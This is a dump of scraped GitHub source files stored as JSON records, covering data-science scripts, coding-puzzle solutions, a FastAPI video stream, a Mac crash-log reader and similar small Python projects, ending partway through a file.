\"speedup_result\",\n \"log_kll_log\",\n \"log_akll_log\",\n \"log_speedup_result\",\n ],\n)\ndf.to_csv(\n f\"report/{uid}_kmeans_parallel_{dataset_name}_log_k_{start_range}_{end_range-1}.csv\",\n index=False,\n encoding=\"utf-8-sig\",\n)\nprint(\"pause\")\n","repo_name":"hsmmi/Exact-Acceleration-of-K-Means-and-K-Means-parallel","sub_path":"result-kmeans-parallel.py","file_name":"result-kmeans-parallel.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20936893024","text":"from zope.interface import Interface\nfrom zope.configuration.fields import GlobalObject\nfrom zope.configuration.exceptions import ConfigurationError\nfrom zope.i18nmessageid import MessageFactory\n\n_ = MessageFactory('collective.django')\n\n\nclass IInitialize(Interface):\n\n component = GlobalObject(\n title = _(u\"Initializer\"),\n description = _(u\"The callable that performs some Django initialization\"),\n required = True\n )\n\n\ndef initialize(_context, component):\n if not callable(component):\n raise ConfigurationError(\"'component' should be callable\")\n _context.action(\n discriminator = \"%s.%s\" % (component.__module__, component.__name__),\n callable = component,\n args = ()\n )\n","repo_name":"collective/collective.django","sub_path":"collective/django/directives.py","file_name":"directives.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"1228546160","text":"import sys\r\n\r\nn, *a = map(int, sys.stdin.read().split())\r\n\r\n\r\ndef main():\r\n m = 10**5\r\n cnt = [0] * (m + 1)\r\n for x in a:\r\n cnt[x] += 1\r\n if x > 0:\r\n cnt[x - 1] += 1\r\n if x < m:\r\n cnt[x + 1] += 1\r\n print(max(cnt))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/abc072/arc082_a/11904055.py","file_name":"11904055.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"42794011732","text":"import matplotlib.pyplot as plt\n\nimport numpy as np\n\nimport serial\n\nimport time\n\n\nFs = 100.0; # sampling rate\n\nTs = 10.0/Fs; # sampling interval\n\nt = np.arange(0,10,Ts) # time vector; create Fs samples between 0 and 1.0 sec.\n\nX = np.arange(0,10,Ts) # signal vector; create Fs samples\n\nY = np.arange(0,10,Ts) \n\nZ = np.arange(0,10,Ts)\nLarger_5cm = np.arange(0,10,Ts)\n\n\nserdev = '/dev/ttyACM0'\n\ns = serial.Serial(serdev,115200)\n\nfor a in range(0, int(Fs)):\n\n line=s.readline() # Read an echo string from K66F terminated with '\\n'\n \n linex = line[0:9]\n X[a] = float(linex)\n\n liney = line[9:18]\n Y[a] = float(liney)\n\n linez = line[18:27]\n Z[a] = float(linez)\n\ndirectionx = 0\ndirectiony = 0\ndisplacementx = np.arange(0,10,Ts)\ndisplacementy = np.arange(0,10,Ts)\n\nfor i in range(100):\n if(X[i]<0 and directionx==0):\n if(i==0):\n displacementx[i] = 0.5*9.8*abs(X[i])*(0.01)*(0.01)*100\n else:\n displacementx[i] = displacementx[i-1]+0.5*9.8*abs(X[i])*(0.01)*(0.01)*100\n elif (X[i]>0 and directionx==0):\n displacementx[i] = 0\n directionx = 1\n elif (X[i]<0 and directionx==1):\n displacementx[i] = 1\n directionx = 0\n elif (X[i]>0 and directionx==1):\n if(i==0):\n displacementx[i] = 0.5*9.8*abs(X[i])*(0.1)*(0.1)*100\n else:\n displacementx[i] = displacementx[i-1]+0.5*9.8*abs(X[i])*(0.1)*(0.1)*100\n\nfor i in range(100):\n if(Y[i]<0 and directiony==0):\n if(i==0):\n displacementy[i] = 0.5*9.8*abs(Y[i])*(0.01)*(0.01)*100\n else:\n displacementy[i] = displacementy[i-1]+0.5*9.8*abs(Y[i])*(0.1)*(0.1)*100\n elif (Y[i]>0 and directiony==0):\n displacementy[i] = 0\n directiony = 1\n elif (Y[i]<0 and directiony==1):\n displacementy[i] = 1\n directiony = 0\n elif (Y[i]>0 and directiony==1):\n if(i==0):\n displacementy[i] = 0.5*9.8*abs(Y[i])*(0.01)*(0.01)*100\n else:\n displacementy[i] = displacementy[i-1]+0.5*9.8*abs(Y[i])*(0.1)*(0.1)*100 \n \nfor i in range(100):\n if(abs(displacementx[i])>5 or abs(displacementy[i])>5):\n Larger_5cm[i] = 1\n else:\n Larger_5cm[i] = 0\n\n\nfig, ax = plt.subplots(2, 1)\n\nax.plot(t,X,t,Y,t,Z)\n\nax.legend(('x','y','z'))\n\nax.set_xlabel('Time')\n\nax.set_ylabel('Acc Vector')\n\nax[1].stem(t,Larger_5cm,'g') # plotting the spectrum\n\nax[1].set_xlabel('Time')\n\nax[1].set_ylabel('Larger_than_5cm')\n\nplt.show()\n\ns.close()","repo_name":"WeiChinHsu-op/exam02","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21171904782","text":"import numpy as np\nimport cv2 as cv\nimport os\nimport json\n\nnp.set_printoptions(threshold=np.inf)\nfrom utils import get_peano_index, convert_multcls_vectors, moving_average, cut_diff, split_in, sigmoid_np, heaviside_np\nfrom dbn import DBN, RBM_dtod, RBM_ctod\nfrom hmm import HMC_ctod, HSMC_ctod, HESMC_ctod, HEMC_ctod, HSEMC_ctod, HEMC2_ctod\nfrom pmm import PMC_ctod, PSMC_ctod\nfrom tmm import TMC_ctod, GSMC_ctod\nfrom sklearn.cluster import KMeans\n\nresfolder = './img/res_test2'\n# imgfs = ['alfa2', 'beee2', 'cible2', 'city2', 'country2', 'promenade2', 'veau2', 'zebre2', 'img409']\nimgfs = ['beee2', 'cible2', 'alfa2']\nresolutions = [(128, 128)]\nmax_val = 255\ngauss_noise = [\n {'corr': False, 'mu1': 0, 'mu2': 1, 'sig1': 1, 'sig2': 1, 'corr_param': None},\n {'corr': False, 'mu1': 0, 'mu2': 0.6, 'sig1': 1, 'sig2': 1, 'corr_param': None},\n {'corr': False, 'mu1': 0, 'mu2': 0.4, 'sig1': 1, 'sig2': 1, 'corr_param': None}]\n\n# models = [{'name': 'hmc', 'model': HMC_ctod(2), 'params': None},\n# {'name': 'hsmc', 'model': HSMC_ctod(2,10), 'params': None},\n# {'name': 'hemc', 'model': HEMC_ctod(2), 'params': None},\n# {'name': 'hsemc', 'model': HSEMC_ctod(2,10), 'params': None}]\nmodels = [{'name': 'hmc', 'model': HMC_ctod(2), 'params': None},\n {'name': 'hsmc', 'model': HSMC_ctod(2,10), 'params': None}]\nkmeans_clusters = 2\n\nfor resolution in resolutions:\n for imgf in imgfs:\n if not os.path.exists(resfolder + '/' + imgf):\n os.makedirs(resfolder + '/' + imgf)\n\n img = cv.imread('./img/' + imgf + '.bmp') # Charger l'image\n img = cv.cvtColor(img, cv.COLOR_BGR2GRAY) # Si cette ligne est décommentée on travaille en niveau de gris\n img = cv.resize(img, resolution)\n img = heaviside_np(img)\n cv.imwrite(resfolder + '/' + imgf + '/' + str(resolution[0]) + '_' + str(resolution[1]) + '.bmp', img * max_val)\n test = get_peano_index(img.shape[0]) # Parcours de peano\n # test = [a.flatten() for a in np.indices(resolution)] #Parcours ligne par ligne\n hidden = img[test[0], test[1]]\n\n for noise in gauss_noise:\n if not noise['corr']:\n img_noisy = (img == 0) * np.random.normal(noise['mu1'], noise['sig1'], img.shape) + (\n img == 1) * np.random.normal(noise['mu2'], noise['sig2'],\n img.shape)\n corr = ''\n corr_param = ''\n else:\n img_noisy = moving_average((img == 0) * np.random.normal(noise['mu1'], noise['sig1'], img.shape),\n noise['corr_param'][0], noise['corr_param'][1]) + moving_average((\n img == 1) * np.random.normal(\n noise['mu2'], noise['sig2'],\n img.shape), noise['corr_param'][0], noise['corr_param'][1])\n corr = 'corr'\n corr_param = str(noise['corr_param'][0]) + '_' + str(noise['corr_param'][1])\n noise_param = '(' + str(noise['mu1']) + ',' + str(noise['sig1']) + ')' + '_' + '(' + str(\n noise['mu2']) + ',' + str(noise['sig2']) + ')'\n cv.imwrite(\n resfolder + '/' + imgf + '/' + str(resolution[0]) + '_' + str(\n resolution[1]) + '_' + corr + '_' + corr_param + noise_param + '.bmp', sigmoid_np(img_noisy) * max_val)\n\n data = img_noisy[test[0], test[1]].reshape(-1, 1)\n kmeans = KMeans(n_clusters=kmeans_clusters).fit(data)\n seg_kmeans = np.zeros(\n (img.shape[0], img.shape[1]))\n seg_kmeans[test[0], test[1]] = kmeans.labels_\n cv.imwrite(resfolder + '/' + imgf + '/' + str(resolution[0]) + '_' + str(\n resolution[1]) + '_' + corr + '_' + corr_param + noise_param + '_seg_kmeans' + '.bmp', seg_kmeans * int(max_val/(kmeans_clusters-1)))\n\n for model in models:\n if not model['params']:\n # if not model['name']=='hmc':\n # model['model'].init_from_markov_chain(data)\n # else:\n # model['model'].init_data_prior(data)\n model['model'].init_data_prior(data)\n else:\n model['model'].give_param(*model['params'])\n # if 'hmc' not in model['name']:\n # model['model'].get_param_supervised(data,hidden, 100, early_stopping=10**-10) # estimation des paramètres avec ICE, (on peut utiliser SEM ou EM avec get_param_EM ou get_param_SEM)\n # else:\n # model['model'].get_param_supervised(data, hidden)\n model['model'].get_param_EM(data, 500, early_stopping=10 ** -10)\n seg = np.zeros(\n (img.shape[0], img.shape[1])) # Création d'une matrice vide qui va recevoir l'image segmentée\n seg[test[0], test[1]] = model['model'].seg_mpm(\n data) # Remplir notre matrice avec les valeurs de la segmentation\n cv.imwrite(\n resfolder + '/' + imgf + '/' + str(resolution[0]) + '_' + str(\n resolution[1]) + '_' + corr + '_' + corr_param + noise_param + '_seg_' + model['name'] + '.bmp',\n seg * max_val) # Sauvegarder l'image\n param_s = {'p': model['model'].p.tolist(), 't': model['model'].t.tolist(), 'mu': model['model'].mu.tolist(),\n 'sig': model['model'].sigma.tolist()}\n if hasattr(model['model'], 'nbc_u'):\n seg_u = np.zeros(\n (img.shape[0], img.shape[1])) # Création d'une matrice vide qui va recevoir l'image segmentée\n seg_u[test[0], test[1]] = model['model'].seg_mpm_u(\n data)\n cv.imwrite(\n resfolder + '/' + imgf + '/' + str(resolution[0]) + '_' + str(\n resolution[1]) + '_' + corr + '_' + corr_param + noise_param + '_smg_u_' + model[\n 'name'] + '.bmp',\n seg_u * int(max_val/(model['model'].nbc_u-1))) # Sauvegarder l'image\n with open(os.path.join(resfolder + '/' + imgf, str(resolution[0]) + '_' + str(\n resolution[1]) + '_' + corr + '_' + corr_param + noise_param + '_param_' + model['name'] + '.txt'),\n 'w') as f:\n json.dump(param_s, f, ensure_ascii=False)\n","repo_name":"Ultimawashi/markov_img_seg","sub_path":"test_artificial_noise_gray_img.py","file_name":"test_artificial_noise_gray_img.py","file_ext":"py","file_size_in_byte":6704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73516880190","text":"import pyvisa\n\n# Connect to the VISA backend\nrm = pyvisa.ResourceManager()\n\n# Get a list of available devic\n\ndef getIDN():\n devices = rm.list_resources()\n name_device = []\n name_visa = []\n for i in range(0,len(devices)):\n name_visa.append(devices[i])\n instrument = rm.open_resource(devices[i])\n name_device.append(instrument.query('*IDN?'))\n print(instrument.query('*IDN?') + \"| VISA: \" + devices[i])\n return name_device, name_visa\n\n\ndevices = getIDN()\n# for i in range(0,len(devices[0])):\n# print(devices[0][i])\n","repo_name":"IsakovIvan54/Converters","sub_path":"find_device.py","file_name":"find_device.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"75691327872","text":"import pandas as pd\nfrom Utils.rigidTransform import quaternion2euler\nimport torch\nfile = \"/home/akira/poss-server/dataprocessing/DATASET/campus-data/LiDAR-Odometry/LO-LOAM/posecov-aloam3d.csv\"\narr = pd.read_csv(file, header=None).values\n#format\n# time(sec), quaternion[4](xyzw), translation[3], covqq[16], covtt[9], covqt[12]\nrelative_posefile = \"/home/akira/poss-server/dataprocessing/DATASET/campus-data/LiDAR-Odometry/LO-LOAM/relpose-RPY.csv\"\nrelative_posefile_q = \"/home/akira/poss-server/dataprocessing/DATASET/campus-data/LiDAR-Odometry/LO-LOAM/relpose-quaternion.csv\"\nwith open(relative_posefile, 'w') as f1, open(relative_posefile_q, 'w') as f2:\n for i in arr:\n time = i[0]\n q = i[1:5]\n euler = quaternion2euler(torch.tensor(q))\n t = i[5:8]\n covqq = i[8:24]\n covtt = i[24:33]\n covqt = i[33:45]\n s_relposeRPY = (','.join(['{:.0f}'] + ['{:.6E}'] * 6) + '\\n').format(time, t[0], t[1], t[2], euler[0], euler[1], euler[2])\n s_relposeQ = (','.join(['{:.0f}'] + ['{:.6E}'] * 7) + '\\n').format(time, t[0], t[1], t[2], q[0], q[1], q[2], q[3])\n f1.write(s_relposeRPY)\n f2.write(s_relposeQ)","repo_name":"AkiraHero/LearningOdomErrorModel","sub_path":"OldInterface/loamposcovparser.py","file_name":"loamposcovparser.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"70959988031","text":"# 소수 찾기\n# 에라토스테네스의 체\n\n\np = [False] * 1001\nlimit = 1001\np[1] = True\nfor i in range(2, limit):\n if p[i]:\n continue\n for j in range(i + i, limit, i):\n p[j] = True\nn = int(input())\nnums = list(map(int, input().split()))\ncnt = 0\nfor num in nums:\n if not p[num]:\n cnt += 1\nprint(cnt)\n","repo_name":"Algorithm-BOMB/AlgorithmStudy","sub_path":"jiwon/basic_math_week_1/boj1978.py","file_name":"boj1978.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22475043004","text":"from abc import ABC, abstractmethod\r\nimport numpy as np\r\n\r\nfrom gym.spaces import Discrete, Box\r\n\r\nclass GymPolicy(ABC):\r\n\r\n def __init__(self, observation_space, action_space):\r\n self._observation_space = observation_space\r\n self._action_space = action_space\r\n\r\n @abstractmethod\r\n def __call__(self, obs):\r\n pass\r\n\r\n\r\nclass RandomPolicy(GymPolicy):\r\n \r\n def __call__(self, obs):\r\n return self._action_space.sample()\r\n\r\n\r\nclass LinearPolicy(GymPolicy):\r\n \r\n def __init__(self, *args, params=None, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n\r\n if params is None:\r\n params = LinearPolicy.sample_params(self._observation_space, self._action_space, zero=True)\r\n self._params = params\r\n\r\n self._discrete = isinstance(self._action_space, Discrete)\r\n \r\n def __call__(self, obs):\r\n raw_action = self._params.dot(obs)\r\n if self._discrete:\r\n raw_action = (np.clip(raw_action, -1, 1) + 1 - 1e-10) / 2\r\n action = int(raw_action * self._action_space.n)\r\n else:\r\n action = raw_action\r\n if len(self._params.shape) == 1:\r\n action = np.array([action])\r\n\r\n return action \r\n \r\n @property\r\n def params(self):\r\n return self._params.copy()\r\n \r\n @params.setter\r\n def params(self, params):\r\n self._params = params.copy() \r\n\r\n @staticmethod\r\n def sample_params(observation_space, action_space, zero=False):\r\n zero_mult = 0 if zero else 1\r\n if isinstance(action_space, Discrete) or \\\r\n isinstance(action_space, Box) and action_space.shape[0] == 1:\r\n params = np.random.rand(observation_space.shape[0]) * zero_mult\r\n else:\r\n params = np.random.rand(observation_space.shape[0], action_space.shape[0]) * zero_mult\r\n return params\r\n \r\n @staticmethod\r\n def sample(observation_space, action_space, zero=False):\r\n params = LinearPolicy.sample_params(observation_space, action_space, zero=zero) \r\n return LinearPolicy(observation_space, action_space, params=params)","repo_name":"Alili6038/code","sub_path":"policies.py","file_name":"policies.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41814249247","text":"import pickle\r\nfrom keras.preprocessing.text import Tokenizer\r\nfrom keras.models import load_model\r\nfrom keras.preprocessing.sequence import pad_sequences\r\nfrom pymongo import MongoClient\r\n\r\n\r\nMAX_LENGTH = 34\r\nEMBEDDING_DIM = 100\r\nfolder = 'BiLSTM-glove-binary-trainableTrue-noPrecision'\r\n\r\n\r\n# MongoDB\r\n#----------------------------------\r\nconnection = MongoClient(\"mongodb://localhost:27017/\")\r\ndb = connection.TwitterDB\r\ncollection = db['temp2']\r\n#----------------------------------\r\n\r\n\r\n\r\n# Load LSTM model\r\n#----------------------------------\r\nloaded_model = load_model('models/'+ folder +'/BiLSTM_glove_model.h5')\r\nloaded_model.summary()\r\n#----------------------------------\r\n\r\n\r\n\r\n# Load tokenizer\r\n#----------------------------------\r\nwith open('models/'+ folder +'/BiLSTM_glove_tokenizer.pickle', 'rb') as handle:\r\n tokenizer = pickle.load(handle)\r\n#----------------------------------\r\n\r\n\r\n\r\n# Predict label on a custom str for test\r\n#----------------------------------\r\n#b = tokenizer.texts_to_sequences(['bio terrorist endanger public lock aid air bear would tolerate mass gather claim aid hoax'])\r\n#b = pad_sequences(b, maxlen=MAX_LENGTH)\r\n#print(loaded_model.predict(b))\r\n#print(loaded_model.predict_classes(b)[0])\r\n#----------------------------------\r\n\r\n\r\n\r\n# Predict label on our tweets\r\n#----------------------------------\r\ntweets = collection.find().batch_size(10)\r\ntweet_index = 0\r\nfor tweet in tweets:\r\n print(tweet['text_preprocessed'])\r\n b = tokenizer.texts_to_sequences([tweet['text_preprocessed']])\r\n b = pad_sequences(b, maxlen=MAX_LENGTH)\r\n\r\n print(loaded_model.predict(b))\r\n label = loaded_model.predict_classes(b)\r\n label = label.flat[0]\r\n\r\n if label == 1:\r\n label_str = 'positive'\r\n elif label == 0:\r\n label_str = 'negative'\r\n else:\r\n print(\"Problem! Neither positive nor negative!\")\r\n\r\n print(label)\r\n print(label_str)\r\n\r\n collection.update(\r\n {\r\n \"_id\": tweet[\"_id\"]\r\n },\r\n {\r\n \"$set\": {\r\n \"BiLSTM_label\": label_str,\r\n }\r\n }\r\n )\r\n tweet_index += 1\r\n print('[Sentiment Update]', tweet['id'], '[' + str(tweet_index) + '/' + str(collection.estimated_document_count()) + ']\\n')\r\n#----------------------------------\r\n\r\n# Predict label on our tweets from .csv to .csv\r\n#----------------------------------\r\nnames = ['text_preprocessed','location','tweet_date']\r\ndf = pd.read_csv(\r\n 'train/q2.csv',\r\n names=names,\r\n sep=',',\r\n header=1, # no header, alternative header = header_col\r\n index_col=None, # no index, alternative header = index_row\r\n encoding='utf-8',\r\n skiprows=1 # how many rows to skip / not include in read_csv\r\n)\r\n\r\nX_test = df['text_preprocessed'].tolist()\r\n\r\nb = tokenizer.texts_to_sequences(X_test)\r\nb = pad_sequences(b, maxlen=MAX_LENGTH)\r\n\r\ny_pred = loaded_model.predict(b, verbose=0)\r\nprint(y_pred)\r\ny_pred_str = [(\"1\" if i >= 0.500000000 else \"0\") for i in y_pred]\r\n\r\ndf['label'] = y_pred_str\r\ndf.to_csv('quarantine_with_label.csv')\r\n","repo_name":"alfagama/twitter_sentiment_analysis_based_on_geolocation","sub_path":"supervised/LSTM/LoadModelAndPredict.py","file_name":"LoadModelAndPredict.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14798342455","text":"from collections import deque\nfrom typing import Optional\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nclass Solution:\n def widthOfBinaryTree(self, root: Optional[TreeNode]) -> int:\n if root is None:\n return 0\n ans = 1 # answer\n q = deque() # queue\n q.append((root, 1)) # add root node\n while q: # while queue is not empty\n ans = max(ans, q[-1][1] - q[0][1] + 1) # update answer with max width\n for _ in range(q.__len__()): # for each node in the queue\n node, index = q.popleft() # pop node and index\n if node.left is not None: # if left child exists\n q.append((node.left, index * 2)) # add left child to queue\n if node.right is not None: # if right child exists\n q.append((node.right, index * 2 + 1)) # add right child to queue\n return ans","repo_name":"tanercelikkiran/leetcode-solutions","sub_path":"solutions/Q662-MaximumWidthOfBinaryTree.py","file_name":"Q662-MaximumWidthOfBinaryTree.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29610023216","text":"\"\"\"\ndef sum(a,b,*args,**kwargs):\n\tall_sum+=a\n\tall_sum = all_sum+a\n\tprint(all_sum)\n\nt = (3,4,5)\nd = {\"date\":6}\n\"\"\"\n\n\nnum = 10\ndef test(num):\n\tnum+=num\n\tprint(num)\na = [100]\ndef test1(a):\n\ta+=a\n\ta=a+a\n\tprint(a)\ntest(num)\nprint(num)\ntest1(a)\n","repo_name":"wangxiaolinlin/1803","sub_path":"16.day/args.py","file_name":"args.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37510246648","text":"import requests\nfrom requests_oauthlib import OAuth1\nimport os\nimport random\n\n\nclass IconSaver:\n def __init__(self, path_dir):\n self._path_dir = path_dir\n self._auth = OAuth1(os.environ[\"KEY\"], os.environ[\"SECRET\"])\n\n @property\n def path_dir(self):\n return self._path_dir\n\n def get_icon(self, key_word=\"\"):\n if not key_word:\n key_word = str(random.randint(1,100))\n endpoint = f\"http://api.thenounproject.com/icon/{key_word}\"\n response = requests.get(endpoint, auth=self._auth)\n data = response.json()\n self._save_icon(data, key_word)\n\n def _save_icon(self, data, key_word):\n if \"icon_url\" in data[\"icon\"]:\n icon_url = data[\"icon\"][\"icon_url\"]\n ext = \"svg\"\n else:\n icon_url = data[\"icon\"][\"preview_url\"]\n ext = \"png\"\n img = requests.get(icon_url)\n with open(os.path.join(self._path_dir, f\"{key_word}.{ext}\"), \"wb\") as file:\n file.write(img.content)\n\n\nicon_saver = IconSaver(\"qqq\")\nicon_saver.get_icon(\"iphone\")\n","repo_name":"30nt/IntroPython_14_01","sub_path":"lesson16.py","file_name":"lesson16.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13017705022","text":"\"\"\"This module serves as general API with automatic_models module\"\"\"\nimport sys\nfrom pathlib import Path\n\nbs_soccer = str((Path('./')).resolve())\nyolo_path = str((Path('./') / 'automatic_models' / 'object_detection' / 'yolo').resolve())\n\nfor path in (bs_soccer, yolo_path):\n print(path)\n if path not in sys.path:\n sys.path.append(path)\n\nfrom automatic_models.handlers import VideoHandler\nfrom argparse import ArgumentParser\n\nimport time\n\n\ndef parse_args():\n argument_parser = ArgumentParser()\n argument_parser.add_argument('-in', '--video_path', required=True, type=str,\n help='direct/relative path to video to be analyzed')\n argument_parser.add_argument('-out', '--output_path', required=True, type=str,\n help='Path to folder where all results from models should be saved')\n argument_parser.add_argument('-freq', '--frequency', default=1, type=float,\n help='Models will divide video into frames with this '\n 'frequency and perform actions on each frame.')\n argument_parser.add_argument('-start', '--starting_point', default=0, type=float,\n help='Models will start dividing video and provide '\n 'annotations from this point in video. PLease provide this number in seconds.')\n argument_parser.add_argument('-save', '--saving_strategy', default='overwrite', type=str,\n help='Choose from add/overwrite. If latter new predictions overwrite older ones.')\n argument_parser.add_argument('-conf', '--models_config_path', default=None, type=str,\n help='Path to json with parameters for models.')\n argument_parser.add_argument('-p_e', '--perform_events', action='store_true',\n help='If flag is set model will perform event annotation')\n argument_parser.add_argument('-p_o', '--perform_objects', action='store_true',\n help='If flag is set model will perform object detection')\n argument_parser.add_argument('-p_lf', '--perform_lines_fields', action='store_true',\n help='If flag is set model will perform field segmentation and lines detection')\n argument_parser.add_argument('-img', '--save_images', action='store_true',\n help='If flag is set images with predictions will be saved in output folder')\n return argument_parser.parse_args()\n\n\ndef perform_models(video_path: str,\n output_path: str,\n frequency: float,\n starting_point: float = 0,\n models_config_path: str = None,\n saving_strategy: str = 'overwrite',\n perform_events: bool = False,\n perform_objects: bool = False,\n perform_lines_fields: bool = False,\n save_imgs: bool = False\n ) -> None:\n \"\"\"\n Perform automatic processing on video.\n :param video_path: path to a video file (currently mp4, mkv formats are supported)\n :param output_path: path to output folder, where all model results are saved\n :param frequency: Models will divide video into frames with this frequency and perform actions on each frame\n :param starting_point: Models will start dividing video and provide annotations from this point in video.\n Please provide this number in seconds.\n :param saving_strategy: add/overwrite. Choose `overwrite` if new predictions should overwrite old ones in a folder\n Choose `add` if new predictions should be added to a folder\n :param models_config_path: path to json with models configuration\n :param perform_events: If true, model performs event annotation\n :param perform_objects: If true model performs object detection\n :param perform_lines_fields: If true model performs lines and field detection\n :param save_imgs: if true images of predictions are saved\n \"\"\"\n video_handler = VideoHandler(video_path=video_path,\n output_path=output_path,\n desired_frequency=frequency,\n starting_point=starting_point,\n saving_strategy=saving_strategy,\n models_config_path=models_config_path,\n save_imgs=save_imgs)\n video_handler.divide_video()\n\n if perform_events:\n try:\n video_handler.annotate_events()\n print('Events successfully annotated.')\n except IndexError:\n print('Unable to perform Event Annotator, because file is too short, make sure it is longer than 2 minutes')\n if perform_lines_fields:\n video_handler.detect_lines_and_fields()\n print('Lines and fields successfully detected.')\n if perform_objects:\n video_handler.detect_objects()\n print('Players successfully detected.')\n\n video_handler.save_results_to_files()\n print('Files saved.')\n\n\nif __name__ == '__main__':\n\n if len(sys.argv) > 1:\n args = parse_args()\n perform_models(video_path=args.video_path,\n output_path=args.output_path,\n frequency=args.frequency,\n starting_point=args.starting_point,\n saving_strategy=args.saving_strategy,\n models_config_path=args.models_config_path,\n perform_events=args.perform_events,\n perform_objects=args.perform_objects,\n perform_lines_fields=args.perform_lines_fields,\n save_imgs=args.save_images)\n else:\n perform_models(video_path='data/not_on_repo/videos/test.mp4',\n output_path='./data/test_22_01',\n frequency=0.1,\n starting_point=0,\n saving_strategy='overwrite',\n models_config_path='data/configs/basic_config.json',\n perform_events=False,\n perform_objects=False,\n perform_lines_fields=True,\n save_imgs=True)\n sys.exit()\n\n","repo_name":"michalpiasecki0/BSc-soccer-annotator","sub_path":"automatic_models/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6355,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"74935928190","text":"def check_for_crash_on_mac(session):\n\n import sys\n if sys.platform != 'darwin':\n return None # Only check for crashes on Mac OS.\n\n # Get time of last check for crash logs.\n from .settings import BugReporterSettings\n settings = BugReporterSettings(session, 'Bug Reporter')\n last = settings.last_crash_check\n from time import time\n settings.last_crash_check = time()\n if last is None:\n return None # No previous crash check time available.\n\n report = recent_chimera_crash(last)\n\n if report and report.find('sip_api_visit_wrappers') != -1:\n # Suppress reporting this common crash on exit, PyQt bug,\n # ChimeraX ticket #5225\n report = None\n \n return report\n\n# -----------------------------------------------------------------------------\n#\ndef recent_chimera_crash(time):\n\n # Check if Mac Python crash log exists and was modified since last\n # time Chimera was started.\n dir = crash_logs_directory()\n if dir is None:\n return None\n\n log = recent_crash(time, dir, 'ChimeraX')\n return log\n\n# -----------------------------------------------------------------------------\n# On Mac OS 10.6 and later uses ~/Library/Logs/DiagnosticReports for crash logs.\n#\ndef crash_logs_directory():\n\n from os.path import expanduser, isdir\n logd = expanduser('~/Library/Logs/DiagnosticReports')\n if isdir(logd):\n return logd\n return None\n\n# -----------------------------------------------------------------------------\n#\ndef recent_crash(time, dir, file_prefix):\n\n from os import listdir\n try:\n filenames = listdir(dir)\n except PermissionError:\n # Crash directory is not readable so can't report crashes.\n return None\n\n from os.path import getmtime, join\n pypaths = [join(dir,f) for f in filenames if f.startswith(file_prefix)]\n tpaths = [(getmtime(p), p) for p in pypaths]\n if len(tpaths) == 0:\n return None\n\n tpaths.sort()\n t, p = tpaths[-1]\n if t < time:\n return None # No file more recent than time.\n\n f = open(p, 'r', encoding = 'iso-8859-1')\n log = f.read()\n f.close()\n\n return log\n","repo_name":"RBVI/ChimeraX","sub_path":"src/bundles/bug_reporter/src/mac_crash_report.py","file_name":"mac_crash_report.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"60"} +{"seq_id":"1455716658","text":"\n\n\n\nfrom pathlib import Path\nfrom fastapi import FastAPI\nfrom fastapi import Request, Response\nfrom fastapi import Header\nfrom fastapi.templating import Jinja2Templates\nfrom fastapi.responses import HTMLResponse, StreamingResponse\nimport uvicorn\n\napp = FastAPI()\ntemplates = Jinja2Templates(directory=\"templates\")\nCHUNK_SIZE = 1024*1024\n\n\n@app.get(\"/\")\nasync def read_root(request: Request):\n return templates.TemplateResponse(\"index.html\", context={\"request\": request})\n\n\ndef gen(camera):\n \"\"\"Video streaming generator function.\"\"\"\n while True:\n frame = camera.get_frame()\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n\n\n@app.get('/video_feed', response_class=HTMLResponse)\nasync def video_feed():\n \"\"\"Video streaming route. Put this in the src attribute of an img tag.\"\"\"\n return StreamingResponse(gen(Camera()),\n media_type='multipart/x-mixed-replace; boundary=frame')\n\n\ndef start():\n uvicorn.run(app, host=\"0.0.0.0\", port=8000, access_log=False)\n\n\nif __name__ == '__main__':\n start()","repo_name":"HiPiH/pyArd","sub_path":"web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74936007550","text":"_builtin_open = open\n_sandbox_count = 0\n\n\ndef _exec_python(session, code, argv=None):\n # actual routine that sandboxes executing Python code\n import sys\n import types\n from 